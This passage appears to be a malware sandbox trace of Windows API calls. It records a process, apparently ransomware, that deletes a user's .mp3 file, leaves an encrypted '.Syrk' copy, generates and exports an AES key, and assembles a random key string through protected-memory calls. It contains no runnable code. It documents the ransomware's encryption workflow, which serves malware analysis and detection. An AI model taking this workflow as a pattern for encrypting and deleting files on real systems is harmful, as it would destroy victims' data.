(in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\ltMu_vt FZDRo.mp3", nBufferLength=0x2d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\ltMu_vt FZDRo.mp3", lpFilePart=0x0) returned 0x2c [0207.009] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e158) returned 1 [0207.009] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\ltMu_vt FZDRo.mp3" (normalized: "c:\\users\\keecfmwgj\\desktop\\ltmu_vt fzdro.mp3"), fInfoLevelId=0x0, lpFileInformation=0x2366020 | out: lpFileInformation=0x2366020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50f33bd0, ftCreationTime.dwHighDateTime=0x1d9969d, ftLastAccessTime.dwLowDateTime=0xeb706b10, ftLastAccessTime.dwHighDateTime=0x1d99b5c, ftLastWriteTime.dwLowDateTime=0xeb706b10, ftLastWriteTime.dwHighDateTime=0x1d99b5c, nFileSizeHigh=0x0, nFileSizeLow=0xc689)) returned 1 [0207.009] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e154) returned 1 [0207.010] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\ltMu_vt FZDRo.mp3" (normalized: "c:\\users\\keecfmwgj\\desktop\\ltmu_vt fzdro.mp3")) returned 1 [0207.012] EtwEventActivityIdControl () returned 0x0 [0207.013] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0207.014] EtwEventActivityIdControl () returned 0x0 [0207.014] EtwEventActivityIdControl () returned 0x0 [0207.014] EtwEventActivityIdControl () returned 0x0 [0207.021] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\ltMu_vt FZDRo.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\ltmu_vt fzdro.mp3.syrk")) returned 0x20 [0207.022] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\ltMu_vt FZDRo.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\ltmu_vt fzdro.mp3.syrk")) returned 0x20 [0207.022] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\ltMu_vt FZDRo.mp3.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0207.022] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\ltMu_vt FZDRo.mp3.Syrk", nBufferLength=0x32, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\ltMu_vt FZDRo.mp3.Syrk", lpFilePart=0x0) returned 0x31 [0207.024] EtwEventActivityIdControl () returned 0x0 [0207.024] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0207.025] EtwEventActivityIdControl () returned 0x0 [0207.025] EtwEventActivityIdControl () returned 0x0 [0207.025] EtwEventActivityIdControl () returned 0x0 [0207.031] EtwEventActivityIdControl () returned 0x0 [0207.032] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0207.032] EtwEventActivityIdControl () returned 0x0 [0207.032] EtwEventActivityIdControl () returned 0x0 [0207.032] EtwEventActivityIdControl () returned 0x0 [0207.036] EtwEventActivityIdControl () returned 0x0 [0207.036] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0207.036] EtwEventActivityIdControl () returned 0x0 [0207.036] EtwEventActivityIdControl () returned 0x0 [0207.036] EtwEventActivityIdControl () returned 0x0 [0207.187] EtwEventActivityIdControl () returned 0x0 [0207.188] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0207.188] EtwEventActivityIdControl () returned 0x0 [0207.188] EtwEventActivityIdControl () returned 0x0 [0207.188] EtwEventActivityIdControl () returned 0x0 [0207.192] EtwEventActivityIdControl () returned 0x0 [0207.192] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0207.192] EtwEventActivityIdControl () returned 0x0 [0207.192] EtwEventActivityIdControl () returned 0x0 [0207.192] EtwEventActivityIdControl () returned 0x0 [0207.197] EtwEventActivityIdControl () returned 0x0 [0207.203] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dbd4) returned 1 [0207.203] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\ltMu_vt FZDRo.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\ltmu_vt fzdro.mp3.syrk"), fInfoLevelId=0x0, lpFileInformation=0x236f98c | out: lpFileInformation=0x236f98c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7974ee0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xf7974ee0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xf7af1ca0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0xc6a4)) returned 1 [0207.203] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dbd0) returned 1 [0207.205] GetConsoleOutputCP () returned 0x1b5 [0207.206] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2fc) returned 0 [0207.206] GetConsoleOutputCP () returned 0x1b5 [0207.206] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e384) returned 0 [0207.206] GetConsoleOutputCP () returned 0x1b5 [0207.226] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0207.226] GetConsoleOutputCP () returned 0x1b5 [0207.226] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0207.226] GetConsoleOutputCP () returned 0x1b5 [0207.226] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2fc) returned 0 [0207.226] GetConsoleOutputCP () returned 0x1b5 [0207.227] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e384) returned 0 [0207.227] GetConsoleOutputCP () returned 0x1b5 [0207.227] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0207.227] GetConsoleOutputCP () returned 0x1b5 [0207.227] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0207.227] GetConsoleOutputCP () returned 0x1b5 [0207.227] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2fc) returned 0 [0207.227] GetConsoleOutputCP () returned 0x1b5 [0207.228] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e384) returned 0 [0207.228] GetConsoleOutputCP () returned 0x1b5 [0207.228] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0207.228] GetConsoleOutputCP () returned 0x1b5 [0207.228] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0207.228] GetConsoleOutputCP () returned 0x1b5 [0207.228] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2fc) returned 0 [0207.228] GetConsoleOutputCP () returned 0x1b5 [0207.229] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e384) returned 0 [0207.229] GetConsoleOutputCP () returned 0x1b5 [0207.229] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0207.229] GetConsoleOutputCP () returned 0x1b5 [0207.229] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0207.229] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e44c | out: lpConsoleScreenBufferInfo=0x5a2e44c) returned 1 [0207.230] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e444 | out: lpMode=0x5a2e444) returned 1 [0207.231] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2389d04*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e438, lpReserved=0x0 | out: lpBuffer=0x2389d04*, lpNumberOfCharsWritten=0x5a2e438*=0x4f) returned 1 [0207.231] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e444 | out: lpMode=0x5a2e444) returned 1 [0207.231] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e438, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e438*=0x2) returned 1 [0207.552] EtwEventActivityIdControl () returned 0x0 [0207.552] EtwEventActivityIdControl () returned 0x0 [0207.552] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0207.553] EtwEventActivityIdControl () returned 0x0 [0207.553] EtwEventActivityIdControl () returned 0x0 [0207.553] EtwEventActivityIdControl () returned 0x0 [0207.556] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0207.557] EtwEventActivityIdControl () returned 0x0 [0207.557] EtwEventActivityIdControl () returned 0x0 [0207.557] EtwEventActivityIdControl () returned 0x0 [0207.559] CryptAcquireContextW (in: phProv=0x5a2e400, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e400*=0x5c4cdd0) returned 1 [0207.561] CryptGenKey (in: hProv=0x5c4cdd0, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e840 | out: phKey=0x5a2e840*=0x5c68c00) returned 1 [0207.561] CryptContextAddRef (hProv=0x5c4cdd0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0207.561] CryptExportKey (in: hKey=0x5c68c00, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e82c | out: pbData=0x0*, pdwDataLen=0x5a2e82c*=0x2c) returned 1 [0207.561] CryptExportKey (in: hKey=0x5c68c00, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x2391a80, pdwDataLen=0x5a2e82c | out: pbData=0x2391a80*, pdwDataLen=0x5a2e82c*=0x2c) returned 1 [0207.562] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e3f8, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0207.562] EtwEventActivityIdControl () returned 0x0 [0207.562] EtwEventActivityIdControl () returned 0x0 [0207.562] EtwEventActivityIdControl () returned 0x0 [0207.563] SysStringLen (param_1="") returned 0x8 [0207.563] SysStringLen (param_1="W") returned 0x8 [0207.563] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0207.564] SysStringLen (param_1="ⶴ뢁赚磦⸸颜捞") returned 0x8 [0207.564] SysStringLen (param_1="ⶴ뢁赚磦⸸颜捞") returned 0x8 [0207.564] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0207.564] SysStringLen (param_1="Wv") returned 0x8 [0207.564] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0207.564] SysStringLen (param_1="䗼ᙄ﵉䋤虍誗骗") returned 0x8 [0207.564] SysStringLen (param_1="䗼ᙄ﵉䋤虍誗骗") returned 0x8 [0207.564] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0207.564] SysStringLen (param_1="Wv4") returned 0x8 [0207.564] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0207.564] SysStringLen (param_1="㵋濷阻䱪칵﹌芮鏰") returned 0x8 [0207.565] SysStringLen (param_1="㵋濷阻䱪칵﹌芮鏰") returned 0x8 [0207.565] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0207.565] SysStringLen (param_1="Wv4n") returned 0x8 [0207.565] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0207.565] SysStringLen (param_1="譍ⳍ邴듑逜ʱ늆") returned 0x8 [0207.565] SysStringLen (param_1="譍ⳍ邴듑逜ʱ늆") returned 0x8 [0207.565] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0207.565] SysStringLen (param_1="Wv4nK") returned 0x8 [0207.565] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0207.565] SysStringLen (param_1="栌ลٵⴀ뿧Ȍ鳺") returned 0x8 [0207.565] SysStringLen (param_1="栌ลٵⴀ뿧Ȍ鳺") returned 0x8 [0207.565] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0207.565] SysStringLen (param_1="Wv4nKA") returned 0x8 [0207.565] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0207.565] SysStringLen (param_1="䬲且䕡ㅲ뷺璳ᅠ怢") returned 0x8 [0207.565] SysStringLen (param_1="䬲且䕡ㅲ뷺璳ᅠ怢") returned 0x8 [0207.566] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0207.566] SysStringLen (param_1="Wv4nKAL") returned 0x8 [0207.566] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0207.566] SysStringLen (param_1="靦柪阅쁐樳眡枛") returned 0x8 [0207.566] SysStringLen (param_1="靦柪阅쁐樳眡枛") returned 0x8 [0207.566] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0207.566] SysStringLen (param_1="Wv4nKALr") returned 0x8 [0207.566] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0207.566] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ") returned 0x8 [0207.566] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ") returned 0x8 [0207.566] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ") returned 0x8 [0207.566] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ") returned 0x10 [0207.567] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0207.567] SysStringLen (param_1="Wv4nKALrn譯ᓜ䜞\ⓘꬾ붎⋑) returned 0x10 [0207.567] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0207.567] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ刡䧇㝖痯奬㨹ೋ") returned 0x10 [0207.567] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ刡䧇㝖痯奬㨹ೋ") returned 0x10 [0207.567] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0207.567] SysStringLen (param_1="Wv4nKALrnZᓜ䜞\ⓘꬾ붎⋑) returned 0x10 [0207.567] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0207.567] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ韵纂㹮鈆鼾\퓟텏∖) returned 0x10 [0207.567] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ韵纂㹮鈆鼾\퓟텏∖) returned 0x10 [0207.567] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0207.567] SysStringLen (param_1="Wv4nKALrnZI䜞\ⓘꬾ붎⋑) returned 0x10 [0207.567] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0207.567] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ殸\雜\拘剚પ䱚") returned 0x10 [0207.567] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ殸\雜\拘剚પ䱚") returned 0x10 [0207.567] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0207.568] SysStringLen (param_1="Wv4nKALrnZI2\ⓘꬾ붎⋑) returned 0x10 [0207.568] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0207.568] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ肘䦾ㇷ昻ꓛᙏ鱫⌬") returned 0x10 [0207.568] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ肘䦾ㇷ昻ꓛᙏ鱫⌬") returned 0x10 [0207.568] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0207.568] SysStringLen (param_1="Wv4nKALrnZI2d㸤身톽") returned 0x10 [0207.568] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0207.568] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ젤䫶诘繞늋꒎㥇") returned 0x10 [0207.568] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ젤䫶诘繞늋꒎㥇") returned 0x10 [0207.568] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0207.568] SysStringLen (param_1="Wv4nKALrnZI2dz身톽") returned 0x10 [0207.568] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0207.568] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆཌ身农ﳋ䗅ॏ蛯") returned 0x10 [0207.568] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆཌ身农ﳋ䗅ॏ蛯") returned 0x10 [0207.568] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0207.569] SysStringLen (param_1="Wv4nKALrnZI2dzw톽") returned 0x10 [0207.569] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0207.569] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ酅鶰숢짆敓얎䪁媯") returned 0x10 [0207.569] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ酅鶰숢짆敓얎䪁媯") returned 0x10 [0207.569] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0207.569] SysStringLen (param_1="Wv4nKALrnZI2dzwf") returned 0x10 [0207.569] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0207.569] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂ") returned 0x10 [0207.569] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂ") returned 0x10 [0207.569] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂ") returned 0x10 [0207.569] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂ") returned 0x18 [0207.569] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0207.570] SysStringLen (param_1="Wv4nKALrnZI2dzwfm✵慳냔ꭉ赇柹") returned 0x18 [0207.570] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0207.570] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂ닉赣灳颧糀鍫뿙嶼") returned 0x18 [0207.570] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂ닉赣灳颧糀鍫뿙嶼") returned 0x18 [0207.570] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0207.570] SysStringLen (param_1="Wv4nKALrnZI2dzwfmt慳냔ꭉ赇柹") returned 0x18 [0207.570] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0207.570] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂ᭛▂ꥁ笭偸") returned 0x18 [0207.570] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂ᭛▂ꥁ笭偸") returned 0x18 [0207.570] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0207.570] SysStringLen (param_1="Wv4nKALrnZI2dzwfmtg냔ꭉ赇柹") returned 0x18 [0207.570] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0207.570] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂ曟ꇡ㻕苘准㣩硩") returned 0x18 [0207.570] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂ曟ꇡ㻕苘准㣩硩") returned 0x18 [0207.570] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0207.571] SysStringLen (param_1="Wv4nKALrnZI2dzwfmtg3냔ꭉ赇柹") returned 0x18 [0207.571] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0207.571] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂᢿㅲ픒绎몽ȸ匢") returned 0x18 [0207.571] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂᢿㅲ픒绎몽ȸ匢") returned 0x18 [0207.571] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0207.571] SysStringLen (param_1="Wv4nKALrnZI2dzwfmtg35ꭉ赇柹") returned 0x18 [0207.571] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0207.571] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂ詗ꋲ壦狻᭵楨勺") returned 0x18 [0207.571] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂ詗ꋲ壦狻᭵楨勺") returned 0x18 [0207.571] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0207.571] SysStringLen (param_1="Wv4nKALrnZI2dzwfmtg35e赇柹") returned 0x18 [0207.571] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0207.571] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂ륻誢䞩ㅒ詎埙✔") returned 0x18 [0207.571] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂ륻誢䞩ㅒ詎埙✔") returned 0x18 [0207.571] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0207.572] SysStringLen (param_1="Wv4nKALrnZI2dzwfmtg35ek柹") returned 0x18 [0207.572] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0207.572] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂ㠊་鶒ᛉणꛦ\蓘⋥) returned 0x18 [0207.572] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂ㠊་鶒ᛉणꛦ\蓘⋥) returned 0x18 [0207.572] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0207.572] SysStringLen (param_1="Wv4nKALrnZI2dzwfmtg35ek2") returned 0x18 [0207.572] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0207.572] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂꑻ뚋寍嗞徿\\利") returned 0x18 [0207.572] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂꑻ뚋寍嗞徿\\利") returned 0x18 [0207.572] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂꑻ뚋寍嗞徿\\利") returned 0x18 [0207.572] SysStringLen (param_1="ᓣ돺掵\xfdd0叇衛\xfdd8ᲆ篊ᾠᘚ䋺㬻ᴶ︴ꫂꑻ뚋寍嗞徿\\利") returned 0x20 [0207.572] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0207.572] SysStringLen (param_1="Wv4nKALrnZI2dzwfmtg35ek2l쁈쇢\샞櫩∴) returned 0x20 [0207.572] SystemFunction040 (in: 